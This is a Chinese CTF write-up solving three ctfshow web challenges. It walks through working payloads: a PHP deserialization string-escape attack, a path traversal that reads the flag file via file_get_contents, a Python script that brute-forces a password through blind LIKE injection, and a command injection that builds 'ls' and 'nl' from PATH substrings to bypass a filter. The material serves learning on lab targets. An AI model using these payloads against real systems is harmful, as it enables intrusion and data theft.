web1_此夜圆
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
这一题属于反序列化中的参数逃逸,这里首先通过1传参,满足条件password=yu22x即可,但是这里password被确定为1,唯一可变的变量是username,这里还存在过滤函数,将Firebasky替换为Firebaskyup。
首先来看看当username=Firebasky序列化的内容:
s:59:“O:1:“a”:2:{s:5:“uname”;s:9:“Firebaskyup”;s:8:“password”;N;}”;
可以知道Firebaskyup是11位,但是只序列化了9位,又知道:
php在反序列化时 会在s:9后面继续寻找9个字符 如果符合反序列化规则 就进行反序列化。即 到s:9时 继续向后寻找9个字符:Firebaskyup由于不符合反序列化规则(到达字符长度没有引号闭合) 所以就不进行反序列化 由于多出来了两个字符 我们可以利用这个来构造一个合适长度的Firebasky 来多出足够的字符 将”;s:8:”password”;s:5:”yu22x”;} 写入字符串 将 password=1逃逸出去
再看看满足条件即当password=yu22x时,
s:69:“O:1:“a”:2:{s:5:“uname”;s:9:“Firebaskyup”;s:8:“password”;s:5:“yu22x”;}”;
1现在可以知道的是,你传入了9位字符,最后也只是序列化了9个字符,
如果说,能把下面这一段字符当作username传入参数,那么最后其后面的字符串就不会执行了,也就是忽略掉了password=1
";s:8:“password”;s:5:“yu22x”;}
这是三十位,然后一个Firebasky逃逸两个,那么久需要15个Firebasky将三十位的字符串逃逸(加上 ";s:8:“password”;s:5:“yu22x”;}就是165位,最后序列化的也是165位)
成功绕过password=1,最后序列化后password等于yu22x,拿到flag
web2_故人心
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一关:
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
需要变量a是数字而且位数小于7,不等于0,a的平方弱类型比较等于0
知道在php中:
php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。 也就是 0.00000…1(小数点后161个0)到0.00000…1(小数点后322个0)会同时满足 is_numric($a) and $a!=0 and $a**2==0
又因为长度的限制,所以a的值可以是:1e-162 ~ 1e-322
(科学记数法)
第二关:
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
即需要满足变量b等于其md2后的值,变量c等于两次其md2的值
本题查看robots.txt,可以看到提示在hinthint.txt中,又提示说md5爆破,想到0e
利用函数跑出变量b和变量c的值:
<?php
for($i=0;$i<99999;$i++)
{
$b = '0e'.$i.'024452';
//echo $b;
if($b == hash("md2",$b))
{
echo $b;
break;
}
}
echo "\n";
for($i=0;$i<999999;$i++)
{
$c = '0e'.$i.'48399';
if($c == hash("md2",hash("md2",$c)))
{
echo $c;
exit();
}
}
得到$b=0e652024452,$c=0e603448399
此时可以知道flag的信息:
第三关:
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
filter_var — 使用特定的过滤器过滤一个变量
php过滤器表:FILTER_VALIDATE_URL(把变量当作url来处理,不是途中红框的)
这里通过正则判断是否ctfshow.com,知道
php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
所以我们就可以使用前面构造的payload(php如果识别不了就会当成一个目录)在进行目录穿越,穿越到根目录读取flag
payload:url=a://ctfshow.com/../../../../../fl0g.txt
对于payload
a:为一个目录 ctfshow.com为1个目录 因为当前目录为/var/www/html,如果要跳到根目录需要向上跳3阶,再加上不存在的两个,共需要跳五阶目录
这两题了解了php三个知识:
- php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
- php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
- php在反序列化时 会在s:9后面继续寻找9个字符 如果符合反序列化规则 就进行反序列化。即 到s:9时 继续向后寻找9个字符:Firebaskyup由于不符合反序列化规则(到达字符长度没有引号闭合) 所以就不进行反序列化
web3_莫负婵娟
查看源码发现:这是一个like注入,而且知道了用户名
了解以下like注入的要点:
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,代表多个字符
?同于DOS命令中的?通配符,代表单个字符
#大致同上,不同的是代只能代表单个数字
首先fuzz以下看过滤了哪些参数:
发现这些符号被过滤,但是 _ 没有被过滤
尝试利用 _ 进行fuzz判断密码有多少位
知道了是32位,利用脚本跑出来:
import requests
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://4fe6770c-c0e7-47a7-a099-a65319266cb4.challenge.ctf.show/login.php'
pwd = ''
for i in range(32): #首先得先fuzz以下确认有多少密码有多少位
print('i = '+str(i+1),end='\t')
for j in a:
password = pwd + j + (31 - i) * '_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
密码是67815b0c009ee970fe4014abaa3Fa6A0
这里通过多命令执行,获取想要的内容:
fuzz一下:发现小写字母全被过滤。大写字母 数字 $ : ; ? * { }
没被过滤。rce 正好可以利用 分号 ;
刚好可以利用环境变量获取flag,每台机器前面的一些环境变量是相同的
构造 ls命令:127.0.0.1;${PATH:5:1}${PATH:2:1}
构造命令读取flag,这里利用nl命令更合适:通过nl 命令再用?替代flag127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???
得到flag:查看源代码